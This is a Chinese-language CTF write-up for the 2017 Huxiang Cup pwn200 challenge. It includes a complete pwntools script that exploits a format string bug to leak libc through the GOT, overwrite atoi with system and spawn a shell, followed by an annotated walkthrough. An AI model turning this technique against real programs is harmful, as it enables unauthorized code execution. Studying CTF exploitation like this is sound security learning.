1. 程式人生 > >2017湖湘杯pwn200_wp_格式化字串漏洞

2017湖湘杯pwn200_wp_格式化字串漏洞

本文是格式化字串漏洞的利用,題目為2017年湖湘杯pwn200,題目檔案

0x0001

看檔案型別為elf檔案,用  binwalk  檢視一下:
一個32位的檔案,用IDA看看: main函式:
sub_80485CD():
這裡可以大致知道這個程式幹了什麼,實際執行看一下,確實如我們所想的那樣:
從 sub_80485CD() 這個函式中,我們可以發現 printf 的引數是直接將輸入的資料傳了過去,那麼這樣必然導致存在格式化字串漏洞

0x0002

pwntools中提供了方便的格式化字串漏洞利用指令碼,這裡直接使用它們,上指令碼,我也是剛接觸不久,看了幾個大佬的指令碼,有些跑不出來shell,有些省略了前面的一些關鍵步驟,我把它們的融合到一起直接跑了就能夠拿到  shell,這裡是我的指令碼:
#!/usr/bin/env python  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
elf = ELF('pwne')
libc = elf.libc
#raw_input("\n[****start****]")
r = process('/root/pwne')
def exec_fmt(payload):
    r.recvuntil('WANT PLAY[Y/N]\n')
    r.sendline('Y')
    r.recvuntil('GET YOUR NAME:\n')
    r.recvuntil('\n')
    r.sendline(payload)
    info = r.recv().splitlines()[1]
    print "info:"+info
    r.sendline('10')
    #r.close()
    return info
autofmt = FmtStr(exec_fmt)
r.close()

p = process(elf.path)
def exploit(name, age='20'):
	p.sendlineafter('WANT PLAY[Y/N]\n', 'Y')
	p.sendlineafter('GET YOUR NAME:\n\n', name)
	p.recvuntil('WELCOME \n')
	content = p.recvuntil('GET YOUR ', drop=True)
	p.sendafter('AGE:\n\n', age)
	return content

offset = autofmt.offset   #offset=7

tmp = exploit(flat(elf.got['printf'], 'AAAA%7$sBBBB'))

#print ("flat():--------",flat(elf.got['printf'], 'AAAA%7$sBBBB'))
#print ("flat():--------",flat('AAAA%7$sBBBB',elf.got['printf']))
#print ("printf:----------",hex(elf.got['printf']))
#print ("tmp :----------",tmp)

libc_base = u32(tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]) - libc.symbols['printf']

#print ("libc_base :----------",hex(libc_base))
#print ("tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]:---",tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4])
#print ("tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]:---",hex(u32(tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4])))

system = libc_base + libc.symbols['system']
exploit(fmtstr_payload(offset, {elf.got['atoi']:system}), '/bin/sh\x00')
p.interactive()

直接用指令碼跑一下就可以出拿到  shell  :

0x0003

接下來分析一下指令碼:
r = process('/root/pwne')
def exec_fmt(payload):
    r.recvuntil('WANT PLAY[Y/N]\n')
    r.sendline('Y')
    r.recvuntil('GET YOUR NAME:\n')
    r.recvuntil('\n')
    r.sendline(payload)
    info = r.recv().splitlines()[1]
    print "info:"+info
    r.sendline('10')
    #r.close()
    return info
autofmt = FmtStr(exec_fmt)
r.close()

這一段通過執行這個檔案,和程式進行互動,獲取相關資訊,最後一步是關鍵
autofmt = FmtStr(exec_fmt)

這一步提供自動化的利用,可以看看上面的指令碼跑出來的資訊,FmtStr() 這個函式構造payload,通過一次次的嘗試確定了引數的位置(偏移地址),在第七次的時候,找到了format的偏移地址:
偏移地址為 offset=7 ,即 autofmt.offset = 7 ,
p = process(elf.path)
def exploit(name, age='20'):
	p.sendlineafter('WANT PLAY[Y/N]\n', 'Y')
	p.sendlineafter('GET YOUR NAME:\n\n', name)
	p.recvuntil('WELCOME \n')
	content = p.recvuntil('GET YOUR ', drop=True)
	p.sendafter('AGE:\n\n', age)
	return content
offset = autofmt.offset   #offset=7

tmp = exploit(flat(elf.got['printf'], 'AAAA%7$sBBBB'))
#呼叫exploit函式洩漏printf函式的實際地址
#print ("flat():--------",flat(elf.got['printf'], 'AAAA%7$sBBBB'))
#print ("flat():--------",flat('AAAA%7$sBBBB',elf.got['printf']))
#print ("printf:----------",hex(elf.got['printf']))
#print ("tmp :----------",tmp)
libc_base = u32(tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]) - libc.symbols['printf']  
 #計算出libc載入起來的基地址,基地址加上printf函式在libc中的相對偏移地址得到的就是實際地址,這樣可以算出實際地址
#print ("libc_base :----------",hex(libc_base))
#print ("tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]:---",tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4])
#print ("tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]:---",hex(u32(tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4])))
system = libc_base + libc.symbols['system']
#libc的基地址加上system的偏移地址就是system的實際地址
exploit(fmtstr_payload(offset, {elf.got['atoi']:system}), '/bin/sh\x00')
#這一步利用 fmtstr_payload(offset, {elf.got['atoi']:system}) 這一自動利用工具直接將atoi的got表中的地址修改為system的地址
p.interactive()    #python shell進行互動